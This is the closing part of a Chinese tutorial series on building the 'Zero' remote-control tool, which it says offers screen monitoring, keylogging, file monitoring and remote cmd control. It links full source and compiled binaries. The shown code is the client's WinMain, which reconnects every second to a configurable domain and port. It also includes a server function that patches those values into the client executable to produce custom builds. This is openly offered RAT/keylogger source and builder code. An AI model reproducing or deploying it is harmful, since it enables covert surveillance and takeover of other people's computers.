如果你从没看过这系列教程请点击:从零开始做远控 简介篇
完整代码下載:
1.Zero远控完整代码及已编译好的程序下载(VC版客户端,QT版客户端,QT版服务器)
github完整源代碼:
https://github.com/joliph/ZeroNet
总结篇
经过了一个礼拜的工作,我们的Zero远控终于完成了,麻雀虽小,但功能齐全,完美实现了:“屏幕监控,键盘监控,文件监控,Cmd命令控制”。
你在学习Zero远控的开发过程当中,你会更加巩固你对"TCP网络,多线程,Win32 API,Qt,c++语言"的运用。
在服务端生成客户端,特点是自定义域名和端口,不用每次更改端口就编译一次客户端:
1.修改客户端的main.cpp文件,让服务端创建客户端时能自定域名和端口
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include "zeroclient.h"
#include "cmdspy.h"
// 在服务端创建客户端时,可以自定义客户端连向的域名和端口
int gOffsetDomain = 10;
char gDomain[100] = "DNSDNSDNS:127.0.0.1 ";
int gOffsetPort = 13;
char gPort[100] = "PORTPORTPORT:18000 ";
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 檢查窗口是否有重複
char szFile[MAX_PATH],*szPt;
GetModuleFileNameA(NULL,szFile,MAX_PATH);
szPt = szFile + strlen(szFile);
while(*--szPt != '\\') ;
CreateMutexA(NULL,FALSE,szPt + 1);
if(GetLastError() == ERROR_ALREADY_EXISTS) {
std::cout << "Same program already running" << std::endl;
return -1;
}
// 初始化Windows socket功能,要在Windows使用网络必须初始化这个
WSAData wsaData;
if (WSAStartup(MAKEWORD(2,1), &wsaData)) {
std::cout << "Failed to initialize WSA" << std::endl;
return -1;
}
// 主循环
ZeroClient client;
client.hInst = hInstance;
while (1) {
// 如果断开了,隔一秒自动连接
char domain[100] = {0};
char *domainStartPos = (char*)gDomain+gOffsetDomain;
char *domainStopPos = strchr(domainStartPos, ' ');
memcpy(domain, domainStartPos, domainStopPos-domainStartPos);
client.connectTo(domain, atoi(gPort+gOffsetPort));
Sleep(1000);
}
// 程序完结后释放WSA
WSACleanup();
return 0;
}
2.把编译好的发布版本客户端放到服务端的目录。
3.修改服务端的Widget::CreateClient()函数
void Widget::createClient()
{
// 读取ZeroClient.exe文件
const QString fileName = "ZeroClient.exe";
QFile file(fileName);
if (!file.exists()) {
QMessageBox::warning(this, "提示","请将编译好的ZeroClient.exe放到本程序的目录下");
return;
}
// 获取保存客户端的位置
QString saveFileName = QFileDialog::getSaveFileName(this, "保存自定义客户端",
QDir::current().absoluteFilePath("Release_ZeroClient.exe"),"应用程序(*.exe)",
0, QFileDialog::ShowDirsOnly);
if (saveFileName.size() <= 0) {
return;
}
// 打开ZeroClient.exe
if (!file.open(QFile::ReadOnly)) {
QMessageBox::warning(this, "提示","无法打开ZeroClient.exe");
return;
}
QByteArray fileData = file.readAll();
// 关闭文件
file.close();
// 自定义客户端的连向的域名和端口
const int offsetDomain = 10;
const char domain[100] = "DNSDNSDNS:\0";
const int offsetPort = 13;
const char port[100] = "PORTPORTPORT:\0";
// 自定义域名
int domainPos = fileData.indexOf(domain);
if (domainPos == -1) {
QMessageBox::warning(this, "提示","无法创建客户端,因为无法找到\'DNSDNSDNS:\'的位置");
return;
}
domainPos += offsetDomain;
QByteArray afterDomain;
afterDomain.append(mEditDomain->text()+" ");
fileData.replace(domainPos, afterDomain.size(), afterDomain);
// 自定义端口
int portPos = fileData.indexOf(port);
if (portPos == -1) {
QMessageBox::warning(this, "提示","无法创建客户端,因为无法找到\'PORTPORTPORT:\'的位置");
return;
}
portPos += offsetPort;
QByteArray afterPort;
afterPort.append(mEditPort->text()+" ");
fileData.replace(portPos, afterPort.size(), afterPort);
// 保存文件
QFile saveFile(saveFileName);
if (!saveFile.open(QFile::WriteOnly)) {
QMessageBox::warning(this, "提示","无法打开"+saveFileName);
return;
}
saveFile.write(fileData.data(), fileData.size());
saveFile.flush();
saveFile.close();
}
总结:
这个小课程已经圆满结束,谢谢大家的支持,希望以后能为大家带来更多更好的代码。